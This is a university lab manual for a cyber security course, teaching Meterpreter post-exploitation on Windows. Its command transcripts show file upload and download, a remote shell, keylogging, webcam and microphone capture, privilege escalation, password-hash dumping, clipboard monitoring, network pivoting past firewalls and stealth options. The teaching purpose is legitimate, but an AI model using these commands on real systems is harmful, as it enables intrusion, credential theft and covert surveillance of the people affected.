University of Dhaka
Dept. of Computer Science and Engineering
Professional Masters in Information and Cyber Security (PMICS) Program

---

CSE 808 - Information Infrastructure Protection

"Cyber Kill Chain: Vulnerability Analysis, Exploitation, Remediation"

Lab Class 3 – Manual

Conducted by: Md. Shakhawat Hossain Robin

Post Exploitation

Windows/Meterpreter/Reverse_TCP

Windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has to offer, and there are lots of options which helps an attacker to utilize. Meterpreter allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting, control the webcam and microphone, etc. It has the best support for post modules, and you can load extensions, such as mimikatz and python interpreter, etc.

windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets.

Important Basic Commands

pwd command

The `pwd` command allows you to see the current directory you're in on the remote target. Example:

```
meterpreter > pwd
C:\Users\user\Desktop
```

cd command

The `cd` command allows you to change directories. Example:

```
meterpreter > cd C:\\
meterpreter > pwd
C:\
```

cat command

The `cat` command allows you to see the content of a file:

```
meterpreter > cat C:\\file.txt
Hello world!
```

Upload command

The `upload` command allows you to upload a file to the remote target. For example:

```
meterpreter > upload /tmp/something.txt C:\\Users\\user\\Desktop\\something.txt
[*] uploading  : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
[*] uploaded   : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
meterpreter >
```

The `-r` option for the command also allows you to upload recursively.

Download command

The `download` command allows you download a file from the remote target to your machine. For example:

```
meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/
[*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt
[*] download   : C:\Users\user\Desktop\something.txt -> /tmp//something.txt
meterpreter >
```

The `-r` option for the command also allows you to download recursively.

Search command

The `search` command allows you to find files on the remote file system. For example, this demonstrates how to find all text files in the current directory:

```
meterpreter > search -d . -f *.txt
Found 1 result...
    .\something.txt (5 bytes)
```

Note that without the `-d` option, the command will attempt to search in all drives.

The `-r` option for the commands allows you to search recursively.

ifconfig command

The `ifconfig` command displays the network interfaces on the remote machine:

```
meterpreter > ifconfig

Interface  1
```

```
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
...
```

The command `ipconfig` is an alias for `ifconfig`.

getuid command

The `getuid` command shows you the current user that the payload is running as:

```
meterpreter > getuid
Server username: WIN-6NH0Q8CJQVM\user
```

execute command

The `execute` command allows you to execute a command or file on the remote machine.
The following example will spawn a calculator:

```
meterpreter > execute -f calc.exe
Process 2076 created.
```

To pass an argument, use the `-a` flag:

```
meterpreter > execute -f iexplore.exe -a https://metasploit.com
Process 2016 created.
```

There are some options you can see to add more stealth. For example, you can use the `-H` flag to create the process hidden from view. You can also use the `-m` flag to execute from memory.

ps command

The `ps` command lists the running processes on the remote machine.

Shell command

The `shell` command allows you to interact with the remote machine's command prompt. Example:

```
meterpreter > shell
Process 3576 created.
Channel 6 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\user\Desktop>
```

To switch back to Meterpreter, do [CTRL]+[Z] to background the channel.

Sysinfo command

The `sysinfo` command shows you basic information about the remote machine. Example:

```
meterpreter > sysinfo
Computer        : WIN-6NH0Q8CJQVM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >
```

Keyscan_start

The `keyscan_start` command starts the keylogging feature on the remote machine.

Keyscan_dump

The `keyscan_dump` command is a keylogger feature. You must use the `keyscan_start` command before using this. Example:

```
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
```

```
Dumping captured keystrokes...
Hello World!!
```
If you wish to stop sniffing, use the `keyscan_stop` command.

keyscan_stop
The `keyscan_stop` command stops the keylogger.

Screenshot
The `screenshot` command takes a screenshot of the target machine.

Webcam_list
The `webcam_list` commands shows you a list of webcams that you can control. You'll probably want to use this first before using any other webcam commands.

Webcam_snap
The `webcam_snap` commands uses the selected webcam to take a picture.

Webcam_stream
The `webcam_stream` command basically uses the `webcam_snap` command repeatedly to create the streaming effect. There is no sound.

record_mic
The `record_mic` command captures audio on the remote machine.

getsystem
The `getsystem` command attempts to elevate your privilege on the remote machine with one of these techniques:

- Named pipe impersonation (in memory)

- Named pipe impersonation (dropper)
- Token duplication (in memory)

Example:

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
```

hashdump

The `hashdump` commands allows you to dump the Windows hashes if there are the right privileges. For example:

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:190fe4201b5f490fb7bfe7aec6d6587b::
vuln_machine:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

If hashdump raises any error, migrate the process to any NT Authority permitted system.

Using a Post Module

One of the best things about Meterpreter is you have access to a variety of post exploitation modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to collect data from the remote machine automatically. For example, you can steal passwords from popular applications and enumerate or modify system settings.

To use a post module from the Meterpreter prompt, simply use the `run` command:

```
meterpreter > run post/windows/gather/checkvm

[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
[*] This is a VMware Virtual Machine
```

```
meterpreter >
```

It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load the specific post module you wish to run, and enter `info -d` to see the basic usage in the documentation.

Monitoring Commands

To read whatever is currently stored in the target's clipboard, you can use the clipboard_get_data command:

```
meterpreter > clipboard_get_data
Text captured at 2016-03-05 19:13:39.0170
=======================================
hello, world!!
=======================================

meterpreter >
```

The limitation of this command is that since you're only grabbing whatever is in the clipboard at the time, there is only one item to collect. However, when you start a monitor, you can collect whatever goes in there. To start, issue the following command:

```
meterpreter > clipboard_monitor_start
[+] Clipboard monitor started
meterpreter >
```

While it is monitoring, you can ask Meterpreter to dump whatever's been captured.

```
meterpreter > clipboard_monitor_dump
Text captured at 2016-03-05 19:18:18.0466
=======================================
this is fun.
=======================================

Files captured at 2016-03-05 19:20:07.0525
=========================================
Remote Path : C:\Users\user\Desktop\cat_pic.png
File size   : 37627 bytes
downloading : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
download    : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
```

```
=========================================

[+] Clipboard monitor dumped
meterpreter >
```

The `clipboard_monitor_stop` command will also dump the captured data, and then exit.
Combined with Meterpreter's keylogger, you have a very effective setup to capture the user's inputs.

Using the Python Extension

The Python extension allows you to use the remote machine's Python interpreter.

To load the extension, at the Meterpreter prompt, do:

```
meterpreter > use python
Loading extension python...success.
```

The most basic example of using the interpreter is the `python_execute` command:

```
meterpreter > python_execute "x = 'hello world'; print x"
[+] Content written to stdout:
hello world

meterpreter >
```

Another way to execute Python code is from a local file by using the `python_import` command.
To do this, first prepare for a Python script. This example should create a message.txt on the remote machine's desktop:

```
import os

user_profile = os.environ['USERPROFILE']

f = open(user_profile + '\\Desktop\\message.txt', 'w+')
f.write('hello world!')
f.close()
```

And to run that with the command:

```
meterpreter > python_import -f /tmp/test.py
[*] Importing /tmp/test.py ...
[+] Command executed without returning a result
meterpreter >
```

To learn more about the Python extension, please read this wiki.

Network Pivoting

There are three mains ways that you can use for moving around inside a network:

- The route command in the msf prompt
- The route command in the the Meterpreter prompt
- The portfwd command

Routing through msfconsole

The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig:

```
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600

meterpreter > ipconfig
...
Interface 10
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:86:4b:0d
MTU          : 1472
IPv4 Address : 192.168.1.201
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2602:30a:2c51:e660::20
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : 2602:30a:2c51:e660:44a:576e:3d2c:d765
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

```
IPv6 Address : 2602:30a:2c51:e660:94be:567f:4fe7:5da7
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::44a:576e:3d2c:d765
IPv6 Netmask : ffff:ffff:ffff:ffff::

...

Interface 26
============
Name         : VPN
Hardware MAC : 00:00:00:00:00:00
MTU          : 1400
IPv4 Address : 192.100.0.100
IPv4 Netmask : 255.255.255.255

...
```

The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A.

At the msf prompt, do:

```
msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1
[*] Route added
```

The `1` at the end of the route indicates the session ID, the payload that is used as a gateway to talk to other machines.
So right now, we have a connection established to the VPN, and we should be able to connect to another machine from that network:

```
msf auxiliary(smb_version) > run

[*] 192.100.0.101:445     - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_version) >
```

Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB.

Routing through Meterpreter
The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msfconsole.

Routing through the portfwd command
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:

```
meterpreter > portfwd add -l 3389 -p 3389 -r [Target Host]
```
And that should allow you to connect to remote desktop this way on the attacker's box:

```
rdesktop 127.0.0.1
```

Meterpreter Paranoid Mode
The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode".

Meterpreter Reliable Network Communication
Exiting Metasploit using `exit -y` no longer terminates the payload session like it used to. Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when an appropriate handler is available. If you wish to exit the session, make sure to `sessions -K` first.

Meterpreter Sleep Control
The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency.

It is very simple to use. At the Meterpreter prompt, simply do:

```
meterpreter > sleep 20
```
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the payload handler remains active (such as being a background job).

Meterpreter Stageless Mode

A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test.

To use the stageless payload, use `windows/meterpreter_reverse_tcp` instead.

Meterpreter Timeout Control

The timeout control basically defines the life span of Meterpreter. To configure it, use the `set_timeouts` command:

```
meterpreter > set_timeouts
Usage: set_timeouts [options]

Set the current timeout options.
Any or all of these can be set at once.

OPTIONS:

    -c <opt>  Comms timeout (seconds)
    -h        Help menu
    -t <opt>  Retry total time (seconds)
    -w <opt>  Retry wait time (seconds)
    -x <opt>  Expiration timeout (seconds)
```

To see the current timeout configuration, you can use the `get_timeouts` command:

```
meterpreter > get_timeouts
Session Expiry  : @ 2016-03-11 21:15:58
Comm Timeout    : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
```

Thanks to All